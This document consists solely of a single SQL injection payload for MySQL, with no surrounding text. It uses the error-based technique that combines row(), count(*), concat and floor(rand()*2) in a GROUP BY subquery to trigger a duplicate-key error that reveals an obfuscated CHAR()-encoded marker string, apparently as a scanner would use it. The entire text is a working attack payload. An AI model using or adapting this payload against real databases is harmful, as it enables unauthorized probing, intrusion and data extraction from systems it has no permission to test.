(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(72),CHAR(99),CHAR(74),CHAR(75),CHAR(122),CHAR(82),CHAR(76),CHAR(53)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))